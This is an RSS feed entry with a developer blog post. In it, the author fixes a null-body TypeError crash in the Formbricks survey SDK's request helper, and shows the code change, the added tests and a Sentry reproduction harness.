<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Lewis Sawe</title>
    <description>The latest articles on DEV Community by Lewis Sawe (@lewisawe).</description>
    <link>https://dev.to/lewisawe</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1061372%2F66521ce2-043c-4326-a061-54645ed0f31c.png</url>
      <title>DEV Community: Lewis Sawe</title>
      <link>https://dev.to/lewisawe</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/lewisawe"/>
    <language>en</language>
    <item>
      <title>Fixing a null-body crash in the Formbricks survey SDK, found by Sentry</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Fri, 21 Aug 2026 15:38:37 +0000</pubDate>
      <link>https://dev.to/lewisawe/fixing-a-null-body-crash-in-the-formbricks-survey-sdk-found-by-sentry-549j</link>
      <guid>https://dev.to/lewisawe/fixing-a-null-body-crash-in-the-formbricks-survey-sdk-found-by-sentry-549j</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for &lt;a href="https://dev.to/bugsmash"&gt;DEV's Summer Bug Smash: Clear the Lineup&lt;/a&gt; powered by &lt;a href="https://sentry.io/" rel="noopener noreferrer"&gt;Sentry&lt;/a&gt;.&lt;/em&gt;&lt;br&gt;
A survey widget should not be able to take down the page it is embedded on. This one could: a single API response with a &lt;code&gt;null&lt;/code&gt; body threw an uncaught &lt;code&gt;TypeError&lt;/code&gt; in the visitor's browser. Sentry's bot found it, filed it as a GitHub issue, and Seer pointed at the exact line. Here is the fix.&lt;/p&gt;
&lt;h2&gt;
  
  
  Project Overview
&lt;/h2&gt;



&lt;p&gt;&lt;a href="https://github.com/formbricks/formbricks" rel="noopener noreferrer"&gt;Formbricks&lt;/a&gt; is an open-source survey and experience-management platform. Websites and apps embed a small JavaScript SDK that loads a survey, shows it to a user, and posts the answers back to the Formbricks API. The SDK lives in the monorepo as two packages: &lt;code&gt;@formbricks/js-core&lt;/code&gt; (the loader and command queue) and &lt;code&gt;@formbricks/surveys&lt;/code&gt; (the survey renderer). Both talk to the backend through a shared &lt;code&gt;makeRequest&lt;/code&gt; helper.&lt;/p&gt;
&lt;h2&gt;
  
  
  Bug Fix or Performance Improvement
&lt;/h2&gt;



&lt;p&gt;I fixed &lt;a href="https://github.com/formbricks/formbricks/issues/6581" rel="noopener noreferrer"&gt;issue #6581&lt;/a&gt;, a production crash that Sentry filed automatically:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Bug: API data is not always validated in the surveys package&lt;/p&gt;

&lt;p&gt;&lt;code&gt;TypeError: Cannot read properties of null (reading 'data')&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The issue was opened automatically by &lt;code&gt;sentry[bot]&lt;/code&gt;, and its body carries the Sentry-captured (minified) stack trace plus a link to the source event, &lt;code&gt;FORMBRICKS-CLOUD-3VE&lt;/code&gt;. Sentry did not just record this crash, it reported it.&lt;/p&gt;

&lt;p&gt;The SDK calls &lt;code&gt;makeRequest&lt;/code&gt; to load a workspace's environment state. That code parsed the HTTP response and immediately read &lt;code&gt;.data&lt;/code&gt; off the result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;json&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;ApiResponse&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;successResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;json&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;ApiSuccessResponse&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;successResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things go wrong here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;response.json()&lt;/code&gt; on a body of literal &lt;code&gt;null&lt;/code&gt; returns JavaScript &lt;code&gt;null&lt;/code&gt;. Reading &lt;code&gt;null.data&lt;/code&gt; throws &lt;code&gt;TypeError: Cannot read properties of null (reading 'data')&lt;/code&gt;. The error path had the same problem one line up: &lt;code&gt;errorResponse.code&lt;/code&gt; on a &lt;code&gt;null&lt;/code&gt; body throws &lt;code&gt;reading 'code'&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;response.json()&lt;/code&gt; is not guarded at all. A non-JSON body (an empty response, or an HTML error page from a proxy or CDN) makes it throw an unhandled &lt;code&gt;SyntaxError&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both happen on the survey load path, in the visitor's browser, where there is no &lt;code&gt;try/catch&lt;/code&gt; above them. Any visitor whose environment fetch returns a &lt;code&gt;null&lt;/code&gt; or non-JSON body (a partial response, or an HTML error page from a proxy or CDN) hits this: the survey does not just fail to open, the SDK throws and the crash propagates into the host page. This is the exact issue Sentry surfaced as &lt;code&gt;FORMBRICKS-CLOUD-3VE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The same &lt;code&gt;makeRequest&lt;/code&gt; is duplicated in &lt;code&gt;@formbricks/surveys&lt;/code&gt; (&lt;code&gt;src/lib/utils.ts&lt;/code&gt;) with the identical bug, so I fixed both.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;PR (on my fork, merged): &lt;a href="https://github.com/lewisawe/formbricks/pull/1" rel="noopener noreferrer"&gt;https://github.com/lewisawe/formbricks/pull/1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Formbricks' contributing guide says they do not take unsolicited community PRs except in rare cases, and the challenge accepts a fork PR, so I opened and merged this on my own fork instead of adding noise upstream.&lt;/p&gt;

&lt;p&gt;Files changed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;packages/js-core/src/lib/common/api.ts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;packages/js-core/src/lib/common/tests/api.test.ts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;packages/surveys/src/lib/utils.ts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;packages/surveys/src/lib/utils.test.ts&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The core change:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Guard 1: never let response.json() throw an unhandled SyntaxError.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;parsedJson&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;wrapThrowsAsync&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ApiResponse&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)();&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;parsedJson&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;err&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;network_error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Failed to parse response body as JSON&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;json&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parsedJson&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;errorResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;json&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;ApiErrorResponse&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;err&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;errorResponse&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;forbidden&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;forbidden&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;network_error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;errorResponse&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Something went wrong&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;...(&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;errorResponse&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;details&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="p"&gt;{}).&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;details&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;errorResponse&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;details&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Guard 2: validate the data envelope before reading `.data`.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;successResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;json&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;ApiSuccessResponse&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;successResponse&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;successResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;successResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;err&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;network_error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Received invalid response data from the server&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;successResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  My Improvements
&lt;/h2&gt;

&lt;p&gt;I kept the change small and inside the existing error model. &lt;code&gt;makeRequest&lt;/code&gt; already returns a &lt;code&gt;Result&amp;lt;T, ApiErrorResponse&amp;gt;&lt;/code&gt; and the codebase has a &lt;code&gt;wrapThrowsAsync&lt;/code&gt; helper that turns a throwing async call into a &lt;code&gt;Result&lt;/code&gt;. I used both so the fix reads like the rest of the file:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Parsing can't crash anymore.&lt;/strong&gt; &lt;code&gt;response.json()&lt;/code&gt; runs through &lt;code&gt;wrapThrowsAsync&lt;/code&gt;. Bad JSON becomes a &lt;code&gt;network_error&lt;/code&gt; Result, not an exception.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The error path is null-safe.&lt;/strong&gt; Optional chaining on &lt;code&gt;errorResponse&lt;/code&gt; means a &lt;code&gt;null&lt;/code&gt; error body no longer throws while trying to build the error.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The success path validates before reading.&lt;/strong&gt; A &lt;code&gt;null&lt;/code&gt; body, a non-object body, or a missing &lt;code&gt;data&lt;/code&gt; field returns a typed &lt;code&gt;network_error&lt;/code&gt; instead of throwing. Callers already handle failed Results, so the SDK degrades quietly instead of crashing the page.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For tests I extended the existing suites rather than adding new files, matching the project's convention of colocated unit tests:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;packages/js-core&lt;/code&gt;: 11 to 15 tests in &lt;code&gt;api.test.ts&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;packages/surveys&lt;/code&gt;: added a &lt;code&gt;makeRequest&lt;/code&gt; block, 76 to 80 tests in &lt;code&gt;utils.test.ts&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Verification:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;With the fix: &lt;code&gt;295/295&lt;/code&gt; js-core tests pass, &lt;code&gt;80/80&lt;/code&gt; surveys utils tests pass, &lt;code&gt;tsc&lt;/code&gt; and ESLint are clean, and &lt;code&gt;turbo build&lt;/code&gt; builds both packages.&lt;/li&gt;
&lt;li&gt;Run against the &lt;strong&gt;actual unmodified Formbricks module&lt;/strong&gt; (I reverted the fix with &lt;code&gt;git stash&lt;/code&gt; and re-ran), the four new tests fail with exactly the reported errors: &lt;code&gt;Cannot read properties of null (reading 'data')&lt;/code&gt;, &lt;code&gt;reading 'code'&lt;/code&gt;, and the unhandled &lt;code&gt;SyntaxError&lt;/code&gt;. This is the definitive proof, it pins the real bug in the real code, not a rephrasing. The Sentry harness below uses a faithful standalone copy of that same function so it can run without building the monorepo.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Best Use of Sentry
&lt;/h2&gt;

&lt;p&gt;Sentry is what made this bug findable. It was auto-filed by &lt;code&gt;sentry[bot]&lt;/code&gt; as issue #6581, linking the source event &lt;code&gt;FORMBRICKS-CLOUD-3VE&lt;/code&gt;, and the grouped title, &lt;code&gt;Cannot read properties of null (reading 'data')&lt;/code&gt;, is specific enough to trace straight to the &lt;code&gt;.data&lt;/code&gt; read in &lt;code&gt;makeRequest&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To confirm the root cause and verify the fix, I built a small Sentry-instrumented harness that reproduces the crash without needing production traffic (the challenge's suggested workflow). It initializes &lt;code&gt;@sentry/node&lt;/code&gt;, overrides &lt;code&gt;fetch&lt;/code&gt; to return a &lt;code&gt;200&lt;/code&gt; with a &lt;code&gt;null&lt;/code&gt; body, and calls a faithful copy of the pre-fix &lt;code&gt;makeRequest&lt;/code&gt;. Running it throws the same &lt;code&gt;TypeError&lt;/code&gt;, and Sentry captures it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== Running makeRequest in "buggy" mode against a null-body 200 response ===
UNHANDLED CRASH: TypeError: Cannot read properties of null (reading 'data')
[Sentry capture] TypeError: Cannot read properties of null (reading 'data')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The screenshots below are from that harness (the stack frames show &lt;code&gt;buggy-api.mjs&lt;/code&gt;), not from Formbricks' production Sentry, which I have no access to. Here is the crash grouped in Sentry:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2n4we7mwj7h4s1umitpn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2n4we7mwj7h4s1umitpn.png" alt="Sentry issue: TypeError Cannot read properties of null (reading 'data'" width="800" height="301"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The stack trace points straight at the unguarded &lt;code&gt;.data&lt;/code&gt; read in &lt;code&gt;makeRequest&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyykighnrwo74grlnb0ao.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyykighnrwo74grlnb0ao.png" alt="Stack trace at makeRequest, the successResponse.data read on line 52" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I enriched each event with tags and context, so the issue is traceable back to the original report:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkfta3nn7zw5retrrnrta.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkfta3nn7zw5retrrnrta.png" alt="Sentry tags: formbricks_issue=6581, sentry_issue=FORMBRICKS-CLOUD-3VE, package, fn" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then I ran Seer, Sentry's AI root-cause analysis, on the captured issue. It independently reached the same conclusion I did: &lt;code&gt;makeRequest&lt;/code&gt; parses the body and reads &lt;code&gt;.data&lt;/code&gt; with no null guard, so a &lt;code&gt;200&lt;/code&gt; with a &lt;code&gt;null&lt;/code&gt; body throws. Seer located the exact line, named the fix (add a null check on the parsed response before reading &lt;code&gt;.data&lt;/code&gt;), and summed up the root cause in one line: the client trusts the JSON body is a non-null object, but the server can return &lt;code&gt;null&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fewmuwnl8qfgell8wsr96.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fewmuwnl8qfgell8wsr96.png" alt="Seer root-cause analysis pointing at the missing null guard" width="556" height="542"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa2eewyujej68spl9wb5t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa2eewyujej68spl9wb5t.png" alt="Seer's suggested fix and one-line root cause" width="559" height="587"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After the fix, the &lt;code&gt;formbricks-6581@fixed&lt;/code&gt; release runs the same null-body response through &lt;code&gt;makeRequest&lt;/code&gt;. The &lt;code&gt;TypeError&lt;/code&gt; is gone. But rather than let the failure vanish into silence, I instrument the recovery: the handled path emits a &lt;code&gt;warning&lt;/code&gt;-level Sentry event tagged &lt;code&gt;outcome=handled_degrade&lt;/code&gt;, so Sentry shows the failure mode as controlled instead of fatal. The same input that was an error-level crash before the fix is now a warning-level "handled" signal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== Running makeRequest in "fixed" mode against a null-body 200 response ===
makeRequest returned a Result (no crash): {"ok":false,"error":{"code":"network_error","status":200,...}}
Graceful failure -&amp;gt; code="network_error", message="Received invalid response data from the server"
[Sentry capture] Survey load received invalid response data; degraded gracefully (no crash)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stated as an invariant in Sentry terms: for this input, &lt;code&gt;makeRequest&lt;/code&gt; must never raise an error-level event; at worst it emits a handled &lt;code&gt;warning&lt;/code&gt;. That is the difference the fix makes, made observable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnsk2huubv9ngwxdch0fu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnsk2huubv9ngwxdch0fu.png" alt="Sentry warning event on the fixed release: outcome=handled_degrade, no crash" width="800" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Because the real crash happens in a visitor's browser, I also built a browser reproduction that loads the survey with &lt;code&gt;@sentry/browser&lt;/code&gt; and the Replay integration, so Sentry records a Session Replay of the page crashing on survey load. You can watch the exact sequence: the widget starts loading, the null-body response comes back, and the survey fails.&lt;/p&gt;

